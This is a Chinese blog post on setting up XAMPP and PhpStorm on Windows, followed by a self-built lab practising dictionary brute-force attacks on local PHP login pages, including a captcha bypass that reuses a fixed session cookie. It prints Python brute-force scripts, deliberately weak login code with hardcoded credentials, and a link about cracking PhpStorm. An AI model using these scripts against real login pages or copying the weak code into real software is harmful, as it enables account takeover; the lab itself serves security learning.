XAMPP的安装和使用

一、什么是XAMPP?

XAMPP是最流行的PHP开发环境。 XAMPP是完全免费且易于安装的Apache发行版,其中包含Apache、MariaDB、PHP和Perl。

类似XAMPP的服务器套件还有很多,我用过的还有UPUPW,它们都极大的简化了开发环境的配置。

十六款免费的服务器套件的介绍介绍了主流的免费服务器开发套件。

二、安装

xampp下载地址:http://www.xampp.cc/

安装没什么好说的,“下一步”直到安装完成。

三.使用

双击xampp安装目录下的xampp-control.exe,打开xampp控制面板。

点击Apache的“Start”按钮,启动Apache服务。 Apache服务的端口默认是80和443,如果电脑上装有虚拟机,443端口会被虚拟机占用,导致Apache服务启动失败。这种情况的修改方法如下:

① 打开任务管理器,找到找到vmware-hostd.exe进程,结束它。

② 打开VMware虚拟机,选择菜单“编辑”——>"首选项",如下图所示。



至于如何查看哪个程序占用了哪个端口,可以点xampp控制面板右侧的“Netstat”按钮,也可以在命令提示符窗口输入netstat -ano指令来查看这几个端口是否被占用。若占用,记住PID,然后在任务管理器里对于相应的PID,结束即可。如果任务管理器的列表中没有PID这一列,点击任务管理器的菜单“查看”——>“选择列”,勾选PID即可。

比较通用的修改方法如下: (这种方法直接改xampp的配置文件。)

如果80端口被占用

将xampp\apache\conf这个目录下的httpd.conf 文件中 所有80换成其他值。

将xampp\apache\conf\extra这个目录下的 httpd-vhosts.conf 所有80换成其他值。

如果是443端口被占用

将XAMPP\apache\conf\extra这个目录下的httpd-ssl.conf 所有443换成其他值。

点击MySQL的“Start”按钮,启动MySQL服务。 (如果电脑上之前安装过MySQL,xampp的MySQL服务启动失败) 正确的修改方法是: ①在命令提示符窗口输入regedit指令,打开注册表编辑器。

②找到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MySQL,将ImagePath的数据修改成xampp中mysq的位置,再次点击MySQL的 “Start”按钮,mysql服务正常启动。

如果MySQL的默认端口3306被占用,修改方法如下:

①修改占用该端口的外部程序,修改方法前面说过。 或者

②点击MySQL的 “Config”按钮,选择“my.ini”,打开该配置文件,并将其中的3306改成其他值。

测试

在浏览器输入http://localhost/dashboard/,出现如下页面,测试成功。

** 如果发现网页找不到,那就把之前改的端口(比如我改的是8001)放在localhost后面,即:localhost:8001**

除此之外我们还要搭建PHPSTORM环境!!! 根据这个老哥的博客来完成环境的搭建

[安装XAMPP](http://www.cnblogs.com/Jason-Jan/p/7906773.html)

[安装并破解PhpStorm](http://www.cnblogs.com/Jason-Jan/p/7918449.html)


实践(我们分两个难度)

  • 暴力破解,顾名思义,就是不断使用不同的账号和密码去猜测,猜测到成功为止,以达到目的猜测出真实密码。举个例子说,web应用中常常存在一些登陆页面,只要web应用中对尝试登陆次数没有限制,或者没有足够强大的人机识别(验证码)的话,就可以进行暴力破解,本文主要涉及web应用上登陆的暴力破解。如下图:

暴力破解测试页面

源码的部分是一个表单post给一个php页面,形象一点也就是说在html页面填好账号密码,然后数据就会传给php来处理。

Html部分如下: (原参考博客该部分有误,已作出修改)

<!DOCTYPEhtml>
<html> <head>
<meta charset="utf-8">
<title>暴力破解测试页面</title>
</head> <body> <div align="center">
<h1>暴力破解测试页面-low</h1></div> <form action="Loginl.php" method="post" name="form"> <fieldset> <legend><b>请输入信息</b></legend> <p>用户名:<input type="text" name="name" id="name"></p> <p>密码:<input type="password" name="password" id="password"></p> <p><input type="submit" value="登录"></p>
</fieldset>
</form> </body> </html>

php部分如下

<!DOCTYPEhtml>
<html><head><meta charset="utf-8"> <?php
/**
* Created by PhpStorm.
* User: mac
* Date: 2018/7/5
* Time: 下午3:20
*/ session_start();
$pwd=$_POST["password"];
$name=$_POST["name"]; if($name=="")
{die("用户名不能为空");}
if($pwd=="")
{die("密码不能为空");}
if($name=="admin"&&$pwd=="1234")
{echo"登陆成功!!!";setcookie("user","$name",time()+3600);}
else{echo"登陆失败";}
?> </head>
</html>
  • 遇到的问题及解决

    点击登录按钮后php页面502错误

    解决:这个时候我们把xampp中的php.exe链接进去就ok了

    点击登录按钮后发现post不了psd和username

    解决:试了半天不知道为什么,于是我把post换成了get。发现可行,但是post对于web来说一般更安全,所以不推荐使用get,容易被漏洞利用。

    最后我下了最新版本的PHPstorm就ok了。。。

只需要使用requests模块来进行请求访问,使用bs4来判断登陆是否成功,附上代码:

无验证码暴力破解的python脚本

#!/usr/bin/python
# -*- coding: UTF-8 -*- import requests
from bs4 import BeautifulSoup def crack(username='admin', password='1234566'): # 定义一个暴力破解的函数
print('正在尝试账号:%s,密码:%s' % (username, password)) # 回显输出
url = 'http://localhost:63342/untitled2/Loginl.html' # 定义需要暴破请求的地址
datas = {'name': 'admin', 'password': password} # 定义暴力破解的账号和密码
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1'
} # 定义访问数据包的请求头,因为如果有防护网站会限制ua
req = requests.post(url, datas, headers=header, ) # 发送请求
# print req.content
html = BeautifulSoup(req.content, "lxml", from_encoding="utf-8") # 定义响应内容为html
res = (''.join(html.stripped_strings).encode("unicode_escape").decode("string_escape")).decode(
'unicode-escape').encode('utf-8') # 获取响应信息
print
res
if '登陆成功' in res: # 判断是否登陆成功
exit("密码为%s" % password) if __name__ == '__main__':
for psw in open('C:/Users/apple/Documents/WeChat Files/fcg12580/Files/dictionary.txt', 'r').read().splitlines(): # 暴力破解的字典
crack(password=psw)
pass
  • 这一部分太简单了,我们很容易就实现破解。 所以不多描述。

  • 我们通过PGPstrom和PGPcharm实现了上一部分,然后在第二个部分的时候,我们发现PHP页面的url是会随时根据验证码的变化而变化的,那为了解决这个不稳定的问题,当然我们也可以选择在本机系统下直接运行,这个时候就需要用到xampp了。


暴力破解+验证码

具体实现步骤如下:

  1. 我们在xampp的安装目录下,新建一个文件夹把我们实验所需的文件放进去:



    图MyProject

  2. 确保Xampp的apache打开。

  3. 通过localhost:8001/LoginMid.html访问我们编写好的页面



    大家可以看到在此页面中我们加入了验证码。 稍后贴出相关代码

  4. 我们输入相关信息,验证一下代码。发现通过xampp直接运行,我们的url是可以直接使用的

  5. 配置好了页面,我们要开始攻击了。编写好python脚本,同时注意:

  6. 为了能在windows下直接使用python命令,我们需要在系统的环境变量里添加python路径!把它变成我们的一部分!

  7. 脚本编好了,软件可以帮我们下载需要的插件,但是在windows环境下,我们需要在cmd中手动下载,首先我们进入到/Python27/Scripts/中,在这个路径下我们可以使用其中的pip进行我们的下载:



    PS:如果自带的pip的版本过低需要更新,跟着命令行的提示一步步走就行了

  8. 在windows下使用python与在软件内相同,由于我们的代码使用了request模块、bs4以及lxml,这都是我们现在需要下载的。

    pip install requests



    pip install bs4



    pip install (你所下载的lxml的保存路径)/lxml-4.2.3-cp27-cp27m-win_amd64.whlPS:lxml自己在网上下载,要对应python版本,我下的是2.7的)

9.保证我们代码里的信息与网页信息一样:



10.接下来我们直接执行:python attack_3.py


该过程代码

LoginMid.html

<!DOCTYPEhtml><html><head><meta charset="utf-8">

    <title>暴力破解测试页面</title>

</head>

<body>

<div align="center"><h1>暴力破解测试页面-难度medium</h1></div>

<form action="LoginMid.php" method="post"onsubmit="return judge();" name="form">

    <fieldset>

        <legend><b>请输入信息</b></legend>

        <p>用户名:<input type="text" name="name" id="name"></p>

        <p>密码:<input type="password" name="password"id="password"></p>

        <p>验证码:<input type="text" name="yzm" id="yzm">

            <img src="yzm.php" onclick="this.src= 'yzm.php?nocache='+Math.random()" style="color:white"></p>

        <p><input type="submit" value="登录"></p>
</fieldset>
</form>
</body>
</html>

LoginMid.php


<!DOCTYPEhtml> <html> <head> <metacharset="utf-8"> <?php
/**
* Created by PhpStorm.
* User: mac
* Date: 2018/7/5
* Time: 下午4:03
*/
session_start(); $pwd=@$_POST["password"]; $name=@$_POST["name"]; $yzm=@$_POST["yzm"]; if($name=="") {die("user can't be NULL");} if($pwd=="") {die("password can't be NULL");} if($yzm=="") {die("yzm can't be NULL");} if($yzm!=$_SESSION['VCODE']){ die("<script>alert('yzm error!!');location='".$_SERVER['HTTP_REFERER']."'</script>");} if($name=="admin"&&$pwd=="1114") {echo"success!!!";setcookie("user","$name",time()+3600);} else {echo"failed"; } ?> </head></html>

yzm.php

<?php
/**
* Created by PhpStorm.
* User: mac
* Date: 2018/7/5
* Time: 下午4:04
*/
session_start(); Header("Content-type:image/PNG"); //提示用户生成PNG的图片文件 $im= imagecreate(60,25); //建一个基于调色板的图像 $back= imagecolorallocate($im, 245, 245, 245); //分配颜色 imagefill($im,0,0,$back); //图像填充 $vcodes= ""; for($i=0;$i<4;$i++){ $font=imagecolorallocate($im,0,0,0); /*rand()随机函数*/ $authnum=rand(0,9);//验证码的随机数 $vcodes.=$authnum; imagestring($im,5,9+$i*10,5,$authnum,$font); } $_SESSION['VCODE']=$vcodes; imagepng($im); //把图片输出到浏览器文件 imagedestroy($im); //释放图片资源 ?>

Attack_3.py

#!/usr/bin/python
# -*- coding: UTF-8 -*- import requests
from bs4 import BeautifulSoup RCode = '6989' def crack(username='admin', password='1234566'):
print'trying user:%s,pwd:%s,yzm:%s' % (username, password, RCode)
# cookie={'security': 'low' , 'PHPSESSID' :'rkp71r263ucl7gg2i7t878ieli'}
url = 'http://localhost:8001/MyProjects/LoginMid.php'
datas = {'name': 'admin', 'password': password, 'yzm': RCode}
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8',
'Connection': 'keep-alive',
'Cookie': 'PHPSESSID=rkp71r263ucl7gg2i7t878ieli', # 不带cookie验证码会无法使用
'Referer': 'http://localhost:8001/MyProjects/LoginMid.html',
'Upgrade-Insecure-Requests': '1'
}
req = requests.post(url, datas, headers=header, )
# print req.content
html = BeautifulSoup(req.content, "lxml", from_encoding="utf-8")
res = (''.join(html.stripped_strings).encode("unicode_escape").decode("string_escape")).decode(
'unicode-escape').encode('utf-8')
print res
if 'success!!!' in res:
exit("pwd is %s" % password) if __name__ == '__main__':
# crack()
for psw in open('C:/Users/apple/Documents/WeChat Files/fcg12580/Files/dictionary.txt', 'r').read().splitlines():
crack(password=psw)
pass

总结

这其中要用到字典,我用的字典是自己生成的。路径在python脚本中会用到哦!!!

网上的都要积分,穷苦人民还得自己动手。

这次实践大大的增强了我的动手能力,不断地百度,不断地报错,不断地调试,终于还是实现啦!

同时我发现:

  1. 要注意各软件或者插件的版本!使用时一定要对应!
  2. phpstorm和phpcharm都是需要.exe文件支持的,使用时记得导入路径!
  3. 代码调试的时间远比你想象的要长!
  4. 需要一个好的partner带来正面影响!
  5. 学习一定要以快乐的心情去学习!

XAMPP、PHPstorm和PHPcharm和Windows环境下Python搭建+暴力破解的更多相关文章

  1. MemCache在Windows环境下的搭建及启动

    MemCache在Windows环境下的搭建及启动 一.memcache服务器端的安装 1.下载memcached的安装包,memcached_en32or64.zip,下载链接:http://pan ...

  2. Windows环境下python的安装与使用

    Windows环境下python的安装与使用 一.python如何运行程序 首先说一下python解释器,它是一种让其他程序运行起来的程序.当你编写了一段python程序,python解释器将读取程序 ...

  3. RabbitMQ,Windows环境下安装搭建

    切入正题:RabbitMQ的Windows环境下安装搭建 一.首先安装otp_win64_20.1.exe,,, 二.然后安装,rabbitmq-server-3.6.12.exe, 安装完成后,在服 ...

  4. windows环境下python编码问题

    log.info(unicode(str"你好" + "aaa")) 或 Log.info(u"你好111111111111111111111111& ...

  5. windows环境下如何搭建Consul+Ocelot

    下面的是markdown格式的文档,懒得排版了,有兴趣的话可以去github上看,有源码 Github:https://github.com/yuchengao0721/Consul-Ocelot.g ...

  6. Windows环境下python多版本配置方案

    系统环境 Windows,安装了msys2,windows和msys2都安装了python,且版本比较多,使用shell/bash聚合工具conemu64 配置方案 配置msys2环境用户目录下的.b ...

  7. windows 环境下python 安装 pypcap 并用pyinstaller打包到exe,解决DLL 加载失败。

    安装 PYQT5 pypcap 环境: windows10_x64 python3.6.3 pycharm2017.2.4 备注: 需要安装 Visual C++ Build Tools 2015 可 ...

  8. linux环境下Python搭建

    安装gcc   yum install gcc 安装zlib   yum -y install zlib* 安装openssl-devel   yum install openssl-devel -y ...

  9. Windows环境下XAMPP的相关设置

    WINDOWS环境下多域名多端口配置:https://www.cnblogs.com/c-and-unity/p/4539348.html

随机推荐

  1. terminate called after throwing an instance of 'std::bad_alloc'

    这个错误,网上搜索到的资料大多是指向内存不足或者内存碎片问题,如下链接 http://bbs.csdn.net/topics/330000462 http://stackoverflow.com/qu ...

  2. js判断数组是否包含某个字符串变量

    最近碰到一个这样的现象,后台返回的数据中,数组里面有一些有变量值,有一些没有变量值. 举个例子,比如后台返回的例子是这样的: var arr=[ { "status":" ...

  3. [Android] 图片裁剪总结——自定义裁剪工具

    上次弄完调用系统裁剪之后,我又试着做一个自定义的裁剪工具. 原文地址请保留http://www.cnblogs.com/rossoneri/p/3988405.html 老习惯,文章开始前还是先把我参 ...

  4. Android学习 -- Activity 以及Activity之间值传递

    项目结构如图 关键代码如下 strings.xml文件代码如下: <?xml version="1.0" encoding="utf-8"?> &l ...

  5. Python Django框架笔记(五):模型

    #前言部分来自Django Book (一)    前言 大多数web应用本质上: 1. 每个页面都是将数据库的数据以HTML格式进行展现. 2. 向用户提供修改数据库数据的方法.(例如:注册.发表评 ...

  6. C#多线程的用法8-线程间的协作AutoResetEvent

    AutoResetEvent自动重置事件,与ManualResetEvent是相对的而言.它同样用于线程间同步,请对照<C#多线程的用法7-线程间的协作ManualResetEvent>进 ...

  7. 如何在 Azure 门户中将托管数据磁盘附加到 Windows VM

    本文介绍了如何通过 Azure 门户将新的托管数据磁盘附加到 Windows 虚拟机. 在开始之前,请查看以下提示: 虚拟机的大小决定了可以附加多少个磁盘. 有关详细信息,请参阅虚拟机大小. 对于新磁 ...

  8. November 16th, 2017 Week 46th Thursday

    Don't you wonder sometimes, what might have happened if you tried. 有时候,你会不会想,如果当初试一试会怎么样? If I had t ...

  9. 关于服务器端的Json文件的接收,踩了一早上的坑的问题

    JSON文件的发送和接收 服务器端接收的JSON文件也是String型的文件,因此不可以直接写成如下的格式,此错误格式下无法找到发送的{}内的数据,服务器会报错提示无法找到你需要的类型数据,也就是根本 ...

  10. 如何将XML文件导入Excel中

    如下图所示为一个规范的XML文件,在Excel中可以将规范的XML文件导入到Excel成为规范的表格.具体有如下几种方法:   工具/原料   Excel 方法/步骤     单击“数据”选项卡下的“ ...